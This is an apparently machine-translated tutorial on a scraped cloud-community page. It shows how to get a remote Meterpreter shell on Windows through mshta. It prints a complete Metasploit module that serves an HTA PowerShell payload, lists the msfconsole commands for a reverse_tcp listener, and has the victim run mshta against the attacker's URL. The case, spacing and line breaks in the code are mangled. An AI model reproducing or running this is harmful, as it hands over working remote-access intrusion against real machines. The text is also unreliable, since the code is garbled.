Mshta Rebound Shell

Source: Internet
Author: User

Kali System Preparation:

Copy the following Ruby code into the/USR/SHARE/METASPLOIT-FRAMEWORK/MODULES/EXPLOITS/WINDOWS/SMB/MSH_SHELL.RB directory (note the code indentation OH):

# # # This module requires metasploit:https://metasploit.com/download# current source:https://github.com/rapid7/ metasploit-framework## class Metasploitmodule < Msf::exploit::remote Rank = normalranking include Msf::exploit: : Remote::httpserver def initialize (info = {}) Super (Update_info (info, ' Name ' = ' Microsoft Office Payload D Elivery ', ' Description ' =%q{This module generates an command to place within a Word document, tha t when executed, would retrieve a HTA payload via HTTP from a Web server.      Currently has not figured off how to generate a doc.        }, ' License ' = + msf_license, ' Arch ' = arch_x86, ' Platform ' = ' win ', ' Targets '    [[' Automatic ', {}],], ' defaulttarget ' = 0,) ' End def On_request_uri (CLI, _request) Print_status ("Delivering payload") P = regenerate_payload (CLI) data = MSF::UTIL::EXE.TO_EXECUTABLE_FMT (Framewo      RkArch_x86, ' win ', p.encoded, ' Hta-psh ', {: Arch = arch_x86,:p latform = ' Win '}) send_re  Sponse (CLI, data, ' content-type ' = ' Application/hta ') end def primer url = Get_uri print_status ("Place the Following DDE in an MS document: ") print_line (" Mshta.exe \ "#{url}\" ") endend

To start the MSF service on the command line:

Service PostgreSQL Start

Start MSF again:

sudo msfconsole

Reload All modules:

Reload_all

Find the Msh_shell module we just created:

Search Msh_shell

Load this module:

Use Exploit/windows/smb/msh_shell

Using Bounce Shellcode, configure the native address, configure the URI address

set payload windows/meterpreter/reverse_tcpset192.168. 0.105 Set Uripath Aaaaexploit
Window System:

Open the Run command and execute:

Mshta http://Kali system ip/aaaa

The Kali system will receive a shell of the window system

Mshta Rebound Shell

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.